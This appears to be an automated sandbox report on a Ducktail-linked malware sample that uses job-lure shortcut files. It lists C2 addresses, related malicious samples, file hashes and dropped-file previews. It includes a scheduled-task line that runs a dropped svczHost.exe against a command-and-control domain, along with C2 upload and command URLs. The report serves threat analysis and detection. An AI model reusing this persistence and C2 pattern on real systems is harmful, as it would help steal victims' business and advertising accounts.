Excluded IPs from analysis (whitelisted): 52.109.20.38, 52.111.236.23, 52.113.194.132, 52.109.16.6, 40.126.28.12, 20.190.135.3, 20.190.135.18, 40.126.28.22, 20.190.135.19, 40.126.28.20, 20.190.135.2, 20.190.135.6, 13.69.109.131, 52.111.236.22, 142.250.105.94
Excluded domains from analysis (whitelisted): prod.ols.live.com.akadns.net, scus-azsc-config.officeapps.live.com, ecs-office.s-0005.s-msedge.net, login.live.com, officeclient.microsoft.com, www.gstatic.com, assets.msn.com, ecs.office.com, self-events-data.trafficmanager.net, prdv4a.aadg.msidentity.com, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, onedscolprdweu03.westeurope.cloudapp.azure.com, s-0005-office.config.skype.com, prod.nexusrules.live.com.akadns.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, s-0005.s-msedge.net, config.officeapps.live.com, us.configsvc1.live.com.akadns.net, ecs.office.trafficmanager.net, nexusrules.officeapps.live.com, api.msn.com, ols.officeapps.live.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target myRdpService.exe, PID 4300 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 3924 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4316 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6008 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8660 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8860 because it is empty
Execution Graph export aborted for target powershell.exe, PID 9636 because it is empty
Execution Graph export aborted for target powershell.exe, PID 9804 because it is empty
Execution Graph export aborted for target svczHost.exe, PID 9472 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:14:21	API Interceptor	8120x Sleep call for process: powershell.exe modified
06:16:46	API Interceptor	25x Sleep call for process: myRdpService.exe modified
12:15:08	Task Scheduler	Run new task: zServicecakoi10 path: C:\Windows\Temp\svczHost.exe s>cakoi10 cocomethode.de

LLM Input / Output

Input	Output
URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 21 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 18 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 23 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 17 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 16 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 20 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 19 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 24 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 22 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 15 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 21 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 23 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 16 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 18 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 17 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 20 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 24 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 19 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 15 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 22 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.88.71.29	kingsmaker_4.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/command/ws
	kingsmaker_6.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	kingsmaker.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	Emloyment Form.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Company Booklet.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Company Booklet.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	Job Description.lnk.download.lnk	Get hash	malicious	RDPWrap Tool, Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Director of Performance Marketing Job Description Roles & Responsibilities Theory 2024.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Online Interview Scheduling Form.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
172.67.128.139	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	cocomethode.de/api/check

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cocomethode.de	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	print preview.js	Get hash	malicious	FormBook	Browse	172.67.187.200
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	CID5B21A97B8635.pdf	Get hash	malicious	Captcha Phish	Browse	104.21.26.167
ENZUINC-US	sora.sh4.elf	Get hash	malicious	Mirai	Browse	104.203.163.1
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	104.202.51.86
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.89.70.126
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	104.202.0.10
	kingsmaker_4.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29
	kingsmaker_6.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29
	kingsmaker.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29
	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	Emloyment Form.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	Company Booklet.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	print preview.js	Get hash	malicious	FormBook	Browse	172.67.128.139
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	stage2.ps1	Get hash	malicious	PureLog Stealer, RevengeRAT, zgRAT	Browse	172.67.128.139

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\svczHost.exe	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse

Created / dropped Files

C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Microsoft\Office\Licenses\5\Perpetual\21661362613116367064193984360 (copy)

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	19700
Entropy (8bit):	3.8824939802752128
Encrypted:	false
SSDEEP:	384:8yD8Gqcj6sIqitsd+NdsnFaFDUZYG+w1mQlopoBKMsZgskGIF+HZKzmO:8yD8Gz6BqitTnbpel+FQTBw6dF+W
MD5:	B5FDF074FA2F00790BED55FEEAAE06C3
SHA1:	CE4494B6A3BDE5961A97F933897296E715159A48
SHA-256:	7CEDF7B80253C9D507808BF46281536837CA21B9C1C16E87A71FFBE03A26213E
SHA-512:	32D247890DACFD3BDF717C88E8122C94B5838AF6E480077D15BB583DB3853F43F385B9A22FD14B6A81DB6579DA0D60E8830F0B048F12838A03B33D520CC3EF75
Malicious:	false
Preview:	{.".L.i.c.e.n.s.e.".:.".e.y.J.V.c.2.V.y.U.H.J.v.Z.m.l.s.Z.U.l.k.I.j.p.u.d.W.x.s.L.C.J.N.Y.X.h.E.Z.X.Z.p.Y.2.V.z.Q.W.x.s.b.3.d.l.Z.C.I.6.M.S.w.i.Q.W.N.0.a.X.Z.h.d.G.l.v.b.k.R.h.d.G.U.i.O.i.I.y.M.D.I.z.L.T.A.4.L.T.E.3.V.D.E.y.O.j.I.1.O.j.U.4.L.j.Y.w.M.T.E.x.N.T.d.a.I.i.w.i.R.X.J.y.b.3.J.G.Y.W.x.s.Y.m.F.j.a.0.N.h.d.G.V.n.b.3.J.5.I.j.p.u.d.W.x.s.L.C.J.S.Z.W.5.l.d.2.F.s.V.G.9.r.Z.W.4.i.O.i.J.l.e.U.p.K.W.k.d.W.d.W.R.H.b.D.B.l.U.0.k.2.S.W.x.0.V.m.M.y.V.n.l.T.V.1.E.5.V.j.B.4.S.l.J.D.M.H.d.N.R.E.F.6.T.k.R.B.d.0.1.U.R.T.J.O.e.m.R.G.U.k.R.j.M.0.8.w.T.n.B.a.R.D.A.0.T.m.p.J.N.F.p.H.T.T.F.O.R.F.p.r.W.X.p.r.N.U.5.E.W.T.V.P.M.D.V.o.Y.l.d.V.O.U.1.E.Q.X.d.N.e.l.F.3.T.U.R.F.e.E.5.q.Y.z.N.S.V.V.E.z.T.j.E.w.a.U.x.D.S.k.l.Z.W.E.p.r.Z.D.J.G.e.V.p.V.b.G.t.J.a.m.9.p.U.U.R.F.M.0.5.6.T.T.J.N.a.k.U.x.T.W.p.N.e.k.5.E.V.X.l.N.R.E.k.x.T.m.p.F.d.0.1.E.R.T.R.O.a.k.V.6.T.X.p.j.e.U.9.U.Y.3.p.O.e.l.F.3.T.W.p.V.d.0.1.U.a.3.d.N.V.F.k.1.T.0.R.J.N.U.1.6.Y.z.V.O.R.G.c.w.T.k.R.n.d.0.5.U.T.T.N.O.a.k.U.y.T.X.p.N.N.E.9.U.V.X.d.P.

C:\Users\user\AppData\LocalLow\Intel\ShaderCache\55358e20b61aed6fcad5b2283103fb1fe9f3dd3668577b575161f953d12f5a3f

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	97670
Entropy (8bit):	7.9473713650233195
Encrypted:	false
SSDEEP:	1536:uqc7pHXAsaUM1YiadRi0tj3hj3ZbMbyAeM21n6mPPTP0QojNhEVs25xVPd2F:Zc76saUM6iadjJx3ZbUyg2tP70QS2s2w
MD5:	89DE89AAF076EA7A7E4E9E03E37D860E
SHA1:	AC42A42B7EEE0FD0E8EC87FD421AD2E9CEA7FA68
SHA-256:	9F0441BDDD92331826750982A5CD94A5E53F4120F2E6C4827E05D619CFDE8581
SHA-512:	B1451D6915B656B7A569B284B978D156E39F887F70797DC24B1DB389EDEBFC764903A8A99DB4165CE54A5D18E54590BD66D60425FB1D6DEF430664B2670ACA28
Malicious:	false
Preview:	INSC.>.....Mar222021151921.38._......?Y... j.1/....s.h...fE............................0..bx.c`@.....^2200..A.....,.X)..(]..n(@.......Kc03.....}.......OB...d.?P... q.f.I..@j.........x.A#. ......Q@..C.#..!.`.U.....G..}..3....q.3B...4...=... .o... .....bJ.......c.~.`..pE0z"....xcu@.....P...7..;...#C...;.e.y@?.......P>(...v..(L@..P{.\|nF..jf.0]...kY!t....Y......('.....e`>.7.f..b0fH`..`d.........O`...a..v...D.....v.....\|B3...P...x.cD.@v.h....[j..."._.=.).HZ....t..................A...Xjx..Io.@..=vl.R.hX.NYR@.f......."T.-.LY...C..zB..7....8....M%..H.....Q.*.HL4....e.q..G...K....Z..\...'PXa.\|.V2.....>.\|q>;9o...o.,\|n.!..J.......I..P.P....7..l.?.)m...._,....M...=..c.....w.....Y.~.o...."../....V)N...Q.^!.D...M.w.iLd.+4\"...n..T.w.F%..u./..2.\|.v.`h..FEj~..}.5j~.D.j._.5_(..(-Do.Fu.2......E.S. :.Qt.&..E.m.......J..GD."o.yO.k.:....D.S..@.3.s.u..%......7P.&..B..s.....!...6.........9.>...g...R...._f..0.1...s<..4.....}./P..:.~\..c....1h.}\.....=..ub

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.852653018425521
Encrypted:	false
SSDEEP:	48:uiTrlKxsxxexl9Il8ug5C0hPi2QXmg3S8MStg/ClJNhd1rc:v6Yy5C0pdQ2g3vnLlJNC
MD5:	045BCB199E4725EB3C11441E8433D363
SHA1:	F0848273BD18CB5B0D2D0E72C8CB0F01ED4EE692
SHA-256:	99BA424E5D90219A5767EEF743A4FC6DACDA1127441B0B9984783DEEDAC3EF7E
SHA-512:	426B3F09997EB5458283E21FB39AFB8452E876DC5A25D2F013A01E35CA0CB8102D58C7424E354F4668A5ACEF9A5E226F2FD6D769DE3D2BC565DBB088C55DD985
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.M.f.M.P.c.Z.L.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.r.N.v.x.X.R.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	3.9959572761074496
Encrypted:	false
SSDEEP:	96:vYy9U29JKRA8UY2KjhDD40I6SmX1Jzv9tPL:vf9J6zoK5D40Ik77PL
MD5:	E1675993404785DF062FBCBBE9B02AC6
SHA1:	447FBD190FE0F9B056F2ECA12011BDCCA9184A9C
SHA-256:	17BE87FE8865650A714FBE0D65AEF248647264668FF07C4A68EDE9A28BD59206
SHA-512:	263437CC80DE03983D98AC714713F78E78DE3FBF3FE2ED5666A07A2DE4B735AF331263FDF4FDE89241CCF74287FE670B5D77E38FEEEA9FE27C2323BB5F0E3EBE
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".L.k.D.V.I.7.5.L.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.r.N.v.x.X.R.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{6CC798F1-41DC-4B61-997B-BE22799F7654}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12982
Entropy (8bit):	3.2109624922923397
Encrypted:	false
SSDEEP:	192:gTPNj7qDzkoAHbWJdYYpFqpNXr0RwsyJtKgYuRk8wP4BdCxIxCp+:gTPNjmDzk97+dvpF7wn3RqPUCxI0p+
MD5:	54AD5C51654CE4CCCA81F4E4A0068C7D
SHA1:	43053643A750BC02B77E0CC3E408DC54251323E5
SHA-256:	C580E24FF5C45712599D6D6F14E0B4FCDC3649B266324785FE2C8617A2EA4D20
SHA-512:	73C9CC4AD8643F5C9E7D2661C77F84C27C984A8FAB58F9A3B4380E98779676A007F0BE58EEB2EC36D701CDA0E79DE3CCED96ED02C6B471263D78D72452075D21
Malicious:	false
Preview:	..J.o.b. .T.i.t.l.e.:. .R.e.m.o.t.e. .F.a.c.e.b.o.o.k. .A.d.s. .M.a.n.a.g.e.r. .. .M.a.n.a.g.e. .A.d. .C.a.m.p.a.i.g.n.s. .w.i.t.h. .C.o.m.p.a.n.y. .C.r.e.d.i.t. .C.a.r.d.,. .M.o.n.t.h.l.y. .B.u.d.g.e.t. .U.p. .t.o. .$.1. .M.i.l.l.i.o.n...............................................................................................................................................................................................................................................................................................................^...`.......Z...\...................n...p...................................................................................................................................................................................................................................................................................................................................................................................................................................

